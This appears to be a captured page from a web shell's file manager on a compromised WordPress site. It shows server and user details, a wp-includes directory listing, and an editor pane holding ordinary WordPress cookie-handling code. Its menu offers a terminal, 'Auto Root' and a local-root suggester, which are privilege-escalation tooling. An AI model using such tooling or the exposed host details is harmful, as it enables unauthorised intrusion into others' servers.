Linux premium219.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 66.29.141.197 & Your IP : 216.73.216.254
Domains :
Cant Read [ /etc/named.conf ]
User : removmno
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
removmno /
zonacarellc.com /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
blocks
[ DIR ]
drwxr-xr-x
2026-06-11 02:03
html-api
[ DIR ]
drwxr-xr-x
2026-06-11 15:16
interactivity-api
[ DIR ]
drwxr-xr-x
2026-06-10 20:03
js
[ DIR ]
drwxr-xr-x
2026-06-11 02:04
theme-compat
[ DIR ]
drwxr-xr-x
2026-06-11 02:03
wk
[ DIR ]
drwxr-xr-x
2026-06-11 00:48
.htaccess
516
B
-r-xr-xr-x
2026-06-10 08:55
category-template.php
55.65
KB
-rw-r--r--
2026-03-19 17:41
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
2023-09-14 16:46
class-walker-category.php
8.28
KB
-rw-r--r--
2023-09-08 13:32
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
2025-01-22 02:26
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
2023-09-14 16:46
class-wp-admin-bar.php
17.58
KB
-rw-r--r--
2026-03-13 03:26
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
2022-09-12 19:47
class-wp-application-passwords.php
16.7
KB
-rw-r--r--
2025-04-03 17:53
class-wp-block-bindings-registry.php
8.07
KB
-rw-r--r--
2026-02-14 05:37
class-wp-block-bindings-source.php
2.92
KB
-rw-r--r--
2025-09-29 01:56
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2022-09-12 19:47
class-wp-block-list.php
4.6
KB
-rw-r--r--
2025-08-07 18:47
class-wp-block-metadata-registry.php
11.57
KB
-rw-r--r--
2026-01-05 10:24
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2025-10-21 11:14
class-wp-block-parser-frame.php
1.95
KB
-rw-r--r--
2026-03-10 15:29
class-wp-block-parser.php
11.25
KB
-rw-r--r--
2026-03-13 03:25
class-wp-block-pattern-categories-registry.php
4.28
KB
-rw-r--r--
2025-12-04 00:47
class-wp-block-patterns-registry.php
10.07
KB
-rw-r--r--
2026-03-11 01:11
class-wp-block-processor.php
68.32
KB
-rw-r--r--
2026-01-22 06:12
class-wp-block-styles-registry.php
6.27
KB
-rw-r--r--
2026-01-11 11:50
class-wp-block-supports.php
6.4
KB
-rw-r--r--
2026-03-19 18:40
class-wp-block-template.php
1.99
KB
-rw-r--r--
2024-09-20 06:07
class-wp-block-templates-registry.php
6.91
KB
-rw-r--r--
2026-01-05 10:24
class-wp-block-type-registry.php
4.91
KB
-rw-r--r--
2025-09-29 20:29
class-wp-block-type.php
16.83
KB
-rw-r--r--
2026-01-05 10:24
class-wp-classic-to-block-menu-converter.php
3.93
KB
-rw-r--r--
2026-01-05 10:24
class-wp-comment-query.php
47.49
KB
-rw-r--r--
2025-12-23 04:14
class-wp-connector-registry.php
14.07
KB
-rw-r--r--
2026-05-08 18:24
class-wp-customize-control.php
25.51
KB
-rw-r--r--
2025-09-07 06:47
class-wp-customize-manager.php
198.13
KB
-rw-r--r--
2026-05-13 11:20
class-wp-customize-nav-menus.php
56.61
KB
-rw-r--r--
2026-01-05 10:41
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
2025-01-23 00:48
class-wp-customize-section.php
10.95
KB
-rw-r--r--
2024-10-13 23:09
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
2026-02-28 04:18
class-wp-customize-widgets.php
70.89
KB
-rw-r--r--
2026-03-12 01:01
class-wp-date-query.php
35.13
KB
-rw-r--r--
2026-02-24 11:33
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2024-10-22 14:16
class-wp-feed-cache-transient.php
3.23
KB
-rw-r--r--
2025-07-31 03:03
class-wp-feed-cache.php
969
B
-rw-r--r--
2024-10-01 02:50
class-wp-http-cookie.php
7.1
KB
-rw-r--r--
2026-01-05 10:58
class-wp-http-curl.php
12.95
KB
-rw-r--r--
2025-09-03 16:18
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-06-22 18:57
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
2026-03-10 16:24
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
2023-06-22 18:36
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
2022-12-16 02:32
class-wp-http-requests-response.php
4.14
KB
-rw-r--r--
2026-01-30 17:52
class-wp-http-response.php
2.91
KB
-rw-r--r--
2022-09-12 19:47
class-wp-http-streams.php
16.37
KB
-rw-r--r--
2026-01-10 10:03
class-wp-icons-registry.php
7.67
KB
-rw-r--r--
2026-03-20 19:41
class-wp-image-editor-gd.php
20.22
KB
-rw-r--r--
2025-09-03 16:18
class-wp-image-editor-imagick.php
36.11
KB
-rw-r--r--
2025-08-27 01:05
class-wp-image-editor.php
17.01
KB
-rw-r--r--
2025-12-17 01:21
class-wp-list-util.php
7.27
KB
-rw-r--r--
2024-02-28 03:38
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
2025-05-11 21:16
class-wp-meta-query.php
29.79
KB
-rw-r--r--
2026-01-06 11:08
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
2025-10-21 19:59
class-wp-navigation-fallback.php
8.98
KB
-rw-r--r--
2025-06-19 00:39
class-wp-network-query.php
19.25
KB
-rw-r--r--
2025-12-23 04:14
class-wp-object-cache.php
17.11
KB
-rw-r--r--
2025-04-05 02:00
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
2024-03-06 10:05
class-wp-paused-extensions-storage.php
4.95
KB
-rw-r--r--
2026-01-06 10:36
class-wp-plugin-dependencies.php
24.59
KB
-rw-r--r--
2026-01-11 11:50
class-wp-post-type.php
29.95
KB
-rw-r--r--
2026-01-29 01:55
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2022-10-04 07:59
class-wp-recovery-mode-email-service.php
10.9
KB
-rw-r--r--
2026-01-07 21:48
class-wp-recovery-mode-key-service.php
4.8
KB
-rw-r--r--
2026-03-02 04:04
class-wp-recovery-mode-link-service.php
3.44
KB
-rw-r--r--
2026-03-02 04:04
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
2025-02-23 16:11
class-wp-script-modules.php
39.65
KB
-rw-r--r--
2026-04-30 08:59
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
2025-02-11 16:14
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
2025-09-17 02:47
class-wp-simplepie-sanitize-kses.php
1.87
KB
-rw-r--r--
2025-01-23 00:48
class-wp-site-query.php
30.74
KB
-rw-r--r--
2025-12-23 04:14
class-wp-speculation-rules.php
7.38
KB
-rw-r--r--
2025-11-23 10:08
class-wp-tax-query.php
19.12
KB
-rw-r--r--
2025-06-16 21:08
class-wp-term-query.php
39.8
KB
-rw-r--r--
2025-12-23 04:14
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2024-02-15 00:27
class-wp-text-diff-renderer-table.php
18.49
KB
-rw-r--r--
2026-03-10 15:43
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
2024-11-20 07:50
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
2024-06-04 15:55
class-wp-theme-json-resolver.php
34.86
KB
-rw-r--r--
2026-02-13 22:52
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2024-06-06 12:02
class-wp-theme-json.php
169.57
KB
-rw-r--r--
2026-02-20 07:25
class-wp-token-map.php
27.95
KB
-rw-r--r--
2024-07-20 03:44
class-wp-url-pattern-prefixer.php
4.69
KB
-rw-r--r--
2025-02-19 03:32
class-wp-user-meta-session-tokens.php
2.88
KB
-rw-r--r--
2026-01-11 11:50
class-wp-user-query.php
43.07
KB
-rw-r--r--
2026-01-11 11:50
class-wp-user-request.php
2.25
KB
-rw-r--r--
2025-02-17 16:24
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
2022-09-12 19:47
class-wp-xmlrpc-server.php
209.98
KB
-rw-r--r--
2026-01-10 10:29
default-filters.php
36.54
KB
-rw-r--r--
2026-05-13 07:29
global-styles-and-settings.php
20.29
KB
-rw-r--r--
2026-02-10 20:20
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-02-24 06:23
Save
Rename
<?php /** * Error Protection API: WP_Recovery_Mode_Cookie_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to set, validate, and clear cookies that identify a Recovery Mode session. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Cookie_Service { /** * Checks whether the recovery mode cookie is set. * * @since 5.2.0 * * @return bool True if the cookie is set, false otherwise. */ public function is_cookie_set() { return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ); } /** * Sets the recovery mode cookie. * * This must be immediately followed by exiting the request. * * @since 5.2.0 */ public function set_cookie() { $value = $this->generate_cookie(); /** * Filters the length of time a Recovery Mode cookie is valid for. * * @since 5.2.0 * * @param int $length Length in seconds. */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); $expire = time() + $length; setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); if ( COOKIEPATH !== SITECOOKIEPATH ) { setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); } } /** * Clears the recovery mode cookie. * * @since 5.2.0 */ public function clear_cookie() { setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); } /** * Validates the recovery mode cookie. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return true|WP_Error True on success, error object on failure. */ public function validate_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , $created_at, $random, $signature ) = $parts; if ( ! ctype_digit( $created_at ) ) { return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) ); } /** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); if ( time() > $created_at + $length ) { return new WP_Error( 'expired', __( 'Cookie expired.' ) ); } $to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random ); $hashed = $this->recovery_mode_hash( $to_sign ); if ( ! hash_equals( $signature, $hashed ) ) { return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) ); } return true; } /** * Gets the session identifier from the cookie. * * The cookie should be validated before calling this API. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return string|WP_Error Session ID on success, or error object on failure. */ public function get_session_id_from_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , , $random ) = $parts; return sha1( $random ); } /** * Parses the cookie into its four parts. * * @since 5.2.0 * * @param string $cookie Cookie content. * @return array|WP_Error Cookie parts array, or error object on failure. */ private function parse_cookie( $cookie ) { $cookie = base64_decode( $cookie ); $parts = explode( '|', $cookie ); if ( 4 !== count( $parts ) ) { return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) ); } return $parts; } /** * Generates the recovery mode cookie value. * * The cookie is a base64 encoded string with the following format: * * recovery_mode|iat|rand|signature * * Where "recovery_mode" is a constant string, * iat is the time the cookie was generated at, * rand is a randomly generated password that is also used as a session identifier * and signature is an hmac of the preceding 3 parts. * * @since 5.2.0 * * @return string Generated cookie content. */ private function generate_cookie() { $to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) ); $signed = $this->recovery_mode_hash( $to_sign ); return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) ); } /** * Gets a form of `wp_hash()` specific to Recovery Mode. * * We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded, * which is too late to verify the recovery mode cookie. * * This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored. * * @since 5.2.0 * * @param string $data Data to hash. * @return string|false The hashed $data, or false on failure. */ private function recovery_mode_hash( $data ) { $default_keys = array_unique( array( 'put your unique phrase here', /* * translators: This string should only be translated if wp-config-sample.php is localized. * You can check the localized release package or * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php */ __( 'put your unique phrase here' ), ) ); if ( ! defined( 'AUTH_KEY' ) || in_array( AUTH_KEY, $default_keys, true ) ) { $auth_key = get_site_option( 'recovery_mode_auth_key' ); if ( ! $auth_key ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_key = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_key', $auth_key ); } } else { $auth_key = AUTH_KEY; } if ( ! defined( 'AUTH_SALT' ) || in_array( AUTH_SALT, $default_keys, true ) || AUTH_SALT === $auth_key ) { $auth_salt = get_site_option( 'recovery_mode_auth_salt' ); if ( ! $auth_salt ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_salt = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_salt', $auth_salt ); } } else { $auth_salt = AUTH_SALT; } $secret = $auth_key . $auth_salt; return hash_hmac( 'sha1', $data, $secret ); } }